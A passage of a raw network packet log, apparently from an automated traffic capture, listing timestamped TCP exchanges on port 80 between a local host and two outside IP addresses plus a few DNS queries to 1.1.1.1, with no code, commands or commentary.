                                                                                                                                                              Nov 20, 2024 11:21:46.080018044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.080029964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.080099106 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081113100 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081125021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081132889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081197023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081207037 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081319094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081327915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081329107 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081429958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081439018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081440926 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081481934 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081567049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081576109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081713915 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081713915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081850052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081962109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.081968069 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.081975937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.082024097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.082104921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.082149982 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.082195044 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.082319021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.082483053 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.127424955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.127562046 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.127640963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.127691984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.127748013 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.127790928 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.177618027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.177750111 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.177851915 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.177901030 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.177963018 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.178000927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.229326010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.231724024 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.231836081 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.231903076 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.231986046 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.232036114 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.296423912 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.296597004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.296686888 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.296736002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.296793938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.296838045 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.359443903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.359603882 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.359716892 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.359777927 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.359848022 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.359893084 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.399408102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399430037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399440050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399450064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399458885 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399458885 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.399468899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399507046 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.399534941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399545908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399602890 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.399660110 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.399957895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.399967909 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400013924 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.400060892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400069952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400116920 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.400563955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400573969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400659084 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.400832891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.400929928 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401093960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401104927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401114941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401160002 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401185036 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401196957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401201010 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401206970 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401216030 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401240110 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401283026 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401555061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401565075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401618004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401702881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401715040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401787043 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401794910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401806116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.401983976 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.401993990 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402023077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402031898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402138948 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.402395964 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402409077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402416945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402431965 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402479887 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.402648926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402658939 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402667999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402677059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402733088 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.402852058 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402862072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.402873993 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403096914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403105974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403114080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403122902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403145075 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.403187037 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.403372049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403382063 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403517962 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.403733015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403743029 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403752089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403759956 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403816938 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.403867960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403877020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403886080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.403984070 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.404109001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404182911 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.404747963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404758930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404768944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404778957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404788017 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404797077 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404805899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404814959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404824018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404831886 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404840946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404843092 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.404885054 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.404897928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404908895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404918909 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404927015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404936075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.404939890 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.404983997 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.405000925 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.405011892 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.405021906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.405031919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.405108929 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.405145884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.405355930 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.407071114 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.407119989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.407129049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.407341003 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.408385992 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.410273075 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.437835932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.437845945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.437854052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438371897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438384056 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438441038 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.438729048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438885927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438899040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438906908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.438967943 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.439012051 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.439215899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.439224958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.439232111 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.439337015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.439346075 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.440046072 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.440057993 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440068960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440294027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440341949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440351963 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440361023 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440370083 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440377951 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440399885 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.440871954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440882921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440891027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440912962 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440920115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440924883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.440932989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.441216946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.441431999 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.441441059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.441450119 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442013025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442266941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442559958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442568064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442883968 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442892075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442898989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442908049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442925930 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442935944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442944050 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442951918 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442962885 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442971945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442981005 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442989111 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.442996979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443357944 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443572998 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443844080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443943977 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443953991 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.443962097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444181919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444190979 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444200039 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444438934 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444453001 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444583893 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444645882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444655895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444664955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444673061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444681883 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444690943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444699049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444708109 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444715977 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444725037 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444732904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444741011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444750071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.444757938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.445317984 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.445328951 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.445337057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.445346117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.447618008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.447628021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.447640896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.450505018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482379913 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482477903 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482621908 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482635975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482645988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.482800007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483072042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483084917 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483097076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483206034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483351946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483360052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483484983 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.483665943 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484101057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484656096 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484806061 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484812975 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484822989 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.484831095 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.485522985 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.485640049 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.485652924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.485660076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.485902071 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.486093998 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.486232042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.487339020 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.741482973 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:46.741836071 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:46.748641014 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:22:23.790369987 CET804971285.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:22:23.790533066 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:22:23.790605068 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:22:23.802951097 CET804971285.192.60.190192.168.2.8

                                                                                                                                                              UDP Packets

                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                              Nov 20, 2024 11:20:22.462208033 CET6171853192.168.2.81.1.1.1
                                                                                                                                                              Nov 20, 2024 11:20:22.472426891 CET53617181.1.1.1192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:07.960136890 CET5630453192.168.2.81.1.1.1
